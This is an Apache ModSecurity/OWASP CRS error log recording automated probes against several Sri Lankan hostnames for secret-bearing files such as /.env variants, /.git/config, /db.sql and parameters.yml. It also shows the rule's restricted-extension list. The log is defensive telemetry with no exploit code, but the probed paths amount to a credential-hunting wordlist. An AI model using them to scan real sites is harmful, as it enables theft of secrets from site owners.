[Fri Jul 17 08:28:00.459741 2026] [security2:error] [pid 2008451:tid 2008451] [client 98.89.33.80:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.backup"] [unique_id "almaOAPhWp7RzB65h36evwAAAA0"]
[Fri Jul 17 08:28:00.459916 2026] [security2:error] [pid 2008451:tid 2008451] [client 98.89.33.80:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.backup"] [unique_id "almaOAPhWp7RzB65h36evwAAAA0"]
[Fri Jul 17 08:28:00.460136 2026] [security2:error] [pid 2008451:tid 2008451] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.backup"] [unique_id "almaOAPhWp7RzB65h36evwAAAA0"]
[Fri Jul 17 08:28:00.461156 2026] [security2:error] [pid 2008451:tid 2008451] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.backup"] [unique_id "almaOAPhWp7RzB65h36evwAAAA0"]
[Fri Jul 17 08:28:00.598421 2026] [security2:error] [pid 1994976:tid 1994976] [client 98.89.33.80:0] ModSecurity: Warning. Matched phrase "/config/parameters.yml" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /config/parameters.yml found within REQUEST_FILENAME: /app/config/parameters.yml"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "autoconfig.millenniumagro.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaODRCJXF37-WnVv0ilwAAABI"]
[Fri Jul 17 08:28:00.598797 2026] [security2:error] [pid 1994976:tid 1994976] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaODRCJXF37-WnVv0ilwAAABI"]
[Fri Jul 17 08:28:00.599734 2026] [security2:error] [pid 1994976:tid 1994976] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/app/config/parameters.yml"] [unique_id "almaODRCJXF37-WnVv0ilwAAABI"]
[Fri Jul 17 08:28:00.702713 2026] [security2:error] [pid 1993584:tid 1993584] [client 98.89.33.80:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "autoconfig.millenniumagro.lk"] [uri "/db.sql"] [unique_id "almaOFxP5-SsqbGuGB2k_QAAAAA"]
[Fri Jul 17 08:28:00.703138 2026] [security2:error] [pid 1993584:tid 1993584] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/db.sql"] [unique_id "almaOFxP5-SsqbGuGB2k_QAAAAA"]
[Fri Jul 17 08:28:00.706269 2026] [security2:error] [pid 2014285:tid 2014285] [client 98.89.33.80:0] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.git/config"] [unique_id "almaODPV8F2Ufi3kXba6lQAAAB4"]
[Fri Jul 17 08:28:00.708085 2026] [security2:error] [pid 2014285:tid 2014285] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.git/config"] [unique_id "almaODPV8F2Ufi3kXba6lQAAAB4"]
[Fri Jul 17 08:28:00.717201 2026] [security2:error] [pid 1994446:tid 1994446] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.manaharasupercenter.lk"] [uri "/index.php"] [unique_id "almaMF2NhE8i6ppze4etwwAAAAs"]
[Fri Jul 17 08:28:00.728190 2026] [security2:error] [pid 1993584:tid 1993584] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/db.sql"] [unique_id "almaOFxP5-SsqbGuGB2k_QAAAAA"]
[Fri Jul 17 08:28:00.728517 2026] [security2:error] [pid 2014285:tid 2014285] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.git/config"] [unique_id "almaODPV8F2Ufi3kXba6lQAAAB4"]
[Fri Jul 17 08:28:00.823665 2026] [security2:error] [pid 2008451:tid 2008451] [client 98.89.33.80:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env"] [unique_id "almaOAPhWp7RzB65h36ewQAAAA0"]
[Fri Jul 17 08:28:00.823957 2026] [security2:error] [pid 2008451:tid 2008451] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env"] [unique_id "almaOAPhWp7RzB65h36ewQAAAA0"]
[Fri Jul 17 08:28:00.824800 2026] [security2:error] [pid 2008451:tid 2008451] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env"] [unique_id "almaOAPhWp7RzB65h36ewQAAAA0"]
[Fri Jul 17 08:28:00.867626 2026] [security2:error] [pid 2014285:tid 2014285] [client 98.89.33.80:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.local"] [unique_id "almaODPV8F2Ufi3kXba6lgAAAB4"]
[Fri Jul 17 08:28:00.867988 2026] [security2:error] [pid 2014285:tid 2014285] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.local"] [unique_id "almaODPV8F2Ufi3kXba6lgAAAB4"]
[Fri Jul 17 08:28:00.870150 2026] [security2:error] [pid 2014285:tid 2014285] [client 98.89.33.80:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "autoconfig.millenniumagro.lk"] [uri "/.env.local"] [unique_id "almaODPV8F2Ufi3kXba6lgAAAB4"]
[Fri Jul 17 08:28:00.980993 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.163.171.172:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".sql"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "www.manaharasupercenter.lk"] [uri "/db.sql"] [unique_id "almaON0t9Kb_MdNxrg6-vwAAAAM"]
[Fri Jul 17 08:28:00.981374 2026] [security2:error] [pid 1993574:tid 1993574] [client 54.163.171.172:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.manaharasupercenter.lk"] [uri "/db.sql"] [unique_id "almaON0t9Kb_MdNxrg6-vwAAAAM"]
[Fri Jul 17 08:28:01.027956 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "coatrent.venee.lk"] [uri "/.env.backup"] [unique_id "almaOQPhWp7RzB65h36ewgAAAA0"]
[Fri Jul 17 08:28:01.028148 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "coatrent.venee.lk"] [uri "/.env.backup"] [unique_id "almaOQPhWp7RzB65h36ewgAAAA0"]
[Fri Jul 17 08:28:01.028428 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/.env.backup"] [unique_id "almaOQPhWp7RzB65h36ewgAAAA0"]
[Fri Jul 17 08:28:01.028741 2026] [security2:error] [pid 2008451:tid 2008451] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/.env.backup"] [unique_id "almaOQPhWp7RzB65h36ewgAAAA0"]
[Fri Jul 17 08:28:01.033805 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.166.225.33:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "coatrent.venee.lk"] [uri "/.env"] [unique_id "almaOVh1WDijTxd1xw5I2QAAAAc"]
[Fri Jul 17 08:28:01.034237 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/.env"] [unique_id "almaOVh1WDijTxd1xw5I2QAAAAc"]
[Fri Jul 17 08:28:01.034786 2026] [security2:error] [pid 2013797:tid 2013797] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/.env"] [unique_id "almaOVh1WDijTxd1xw5I2QAAAAc"]
[Fri Jul 17 08:28:01.150924 2026] [security2:error] [pid 2014285:tid 2014285] [client 54.166.225.33:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "coatrent.venee.lk"] [uri "/.env.local"] [unique_id "almaOTPV8F2Ufi3kXba6lwAAAB4"]
[Fri Jul 17 08:28:01.151293 2026] [security2:error] [pid 2014285:tid 2014285] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/.env.local"] [unique_id "almaOTPV8F2Ufi3kXba6lwAAAB4"]
[Fri Jul 17 08:28:01.151892 2026] [security2:error] [pid 2014285:tid 2014285] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/.env.local"] [unique_id "almaOTPV8F2Ufi3kXba6lwAAAB4"]
[Fri Jul 17 08:28:01.234632 2026] [security2:error] [pid 2014308:tid 2014308] [client 54.166.225.33:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "coatrent.venee.lk"] [uri "/.env.production"] [unique_id "almaOQdFk8dCrY-oJNkc9wAAACA"]
[Fri Jul 17 08:28:01.235004 2026] [security2:error] [pid 2014308:tid 2014308] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/.env.production"] [unique_id "almaOQdFk8dCrY-oJNkc9wAAACA"]
[Fri Jul 17 08:28:01.235461 2026] [security2:error] [pid 2014308:tid 2014308] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "coatrent.venee.lk"] [uri "/.env.production"] [unique_id "almaOQdFk8dCrY-oJNkc9wAAACA"]
[Fri Jul 17 08:28:01.318286 2026] [security2:error] [pid 2014308:tid 2014308] [client 54.166.225.33:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dev"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "coatrent.venee.lk"] [uri "/.env.dev"] [unique_id "almaOQdFk8dCrY-oJNkc-AAAACA"]
[Fri Jul 17 08:28:01.318554 2026] [security2:error] [pid 2014308:tid 2014308] [client 54.166.225.33:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "coatrent.venee.lk"] [uri "/.env.dev"] [unique_id "almaOQdFk8dCrY-oJNkc-AAAACA"]
